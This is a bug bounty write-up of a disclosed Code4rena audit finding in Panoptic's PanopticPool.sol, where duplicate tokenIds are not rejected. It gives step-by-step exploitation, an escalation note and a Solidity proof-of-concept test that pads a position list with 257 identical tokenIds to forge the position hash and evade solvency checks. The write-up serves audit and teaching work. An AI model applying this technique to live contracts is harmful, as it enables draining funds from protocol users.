# _validatePositionList() does not check for duplicate tokenIds, allowing attackers to bypass solvency checks

Panoptic's _validatePositionList omits duplicate tokenId checks, letting attackers pad position lists with 256 copies of one tokenId to forge the position hash and bypass solvency checks.

- Payout: Audit contest
- Severity: medium
- Program: Panoptic
- Found by: pkqs90
- Disclosed: 2024-06-24
- Write-up quality: 7/10
- Original: https://github.com/code-423n4/2024-04-panoptic-findings/issues/498
- Library page: https://bugbountylibrary.com/r/c4%3A2024-04-panoptic%3AM-02
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:code4rena sev:medium tech:evm tech:solidity technique:chained technique:source-review vuln:accounting-error vuln:business-logic

**Target:** PanopticPool.sol _validatePositionList / updatePositionsHash
**Root cause:** The position fingerprint packs list length into the top 8 bits and XORs keccak hashes of tokenIds into the lower 248 bits; adding 256 copies of the same tokenId leaves the XOR unchanged while the length counter wraps, so a padded list matches the stored hash. _validatePositionList never rejects duplicates or enforces MAX_POSITIONS.
**Steps:**
1. Build a positionIdList of 257 identical tokenIds: `TokenId[] memory posIdList = new TokenId[](257); for (i=0;i<257;++i) posIdList[i]=tokenId;`
2. Call `pp.mintOptions(posIdList, positionSizes[0], 0, 0, 0)` — the fingerprint matches the stored s_positionsHash despite duplicates
3. Because _validatePositionList passes, _checkSolvencyAtTick iterates the duplicated list, counting accumulated premium multiple times while required collateral is computed per unique position
4. Duplicate a long-lived, fee-accumulating tokenId 256x so balanceCross grows faster than thresholdCross, making an insolvent account appear solvent
5. Use the padded list in mint/burn/liquidate/forceExercise/settleLongPremium to pass _validateSolvency
**How found:** Code review of the fingerprint scheme: noticed length stored in top 8 bits can overflow and XOR of identical keccak hashes cancels, so 256 duplicates reproduce the same hash; then traced how _validateSolvency consumes the list to inflate premium.
**Exploitation:** Attacker pads their positionIdList with 256 copies of a single fee-accumulating tokenId so the XOR fingerprint is unchanged and the length counter wraps to match the stored hash. The solvency check then sums premium for the duplicated position repeatedly, inflating balanceCross above thresholdCross, allowing mint/burn/liquidate/forceExercise/settleLongPremium while actually insolvent.
**Escalation:** Repeating the duplicate block (multiples of 256) scales the inflated premium further, limited only by gas.
**Insight:** When a hash/fingerprint packs a length counter and XORs element hashes, look for length overflow plus even-count duplicate cancellation — any list validated only by such a fingerprint can be padded with 256 copies of one element to forge equality.

## Proof of concept (copied exactly from the original report)

**Test passing 257 duplicate tokenIds to mintOptions**

```
function test_duplicatePositionHash(
        uint256 x,
        uint256[2] memory widthSeeds,
        int256[2] memory strikeSeeds,
        uint256[2] memory positionSizeSeeds,
        uint256 swapSizeSeed
    ) public {
        _initPool(x);

        (int24 width, int24 strike) = PositionUtils.getOTMSW(
            widthSeeds[0],
            strikeSeeds[0],
            uint24(tickSpacing),
            currentTick,
            0
        );

        (int24 width2, int24 strike2) = PositionUtils.getOTMSW(
            widthSeeds[1],
            strikeSeeds[1],
            uint24(tickSpacing),
            currentTick,
            0
        );
        vm.assume(width2 != width || strike2 != strike);

        populatePositionData([width, width2], [strike, strike2], positionSizeSeeds);

        // leg 1
        TokenId tokenId = TokenId.wrap(0).addPoolId(poolId).addLeg(
            0, 1, isWETH, 0, 0, 0, strike, width
        );

        TokenId[] memory posIdList = new TokenId[](257);
        for (uint i = 0; i < 257; ++i) {
            posIdList[i] = tokenId;
        }
        pp.mintOptions(posIdList, positionSizes[0], 0, 0, 0);
    }
```

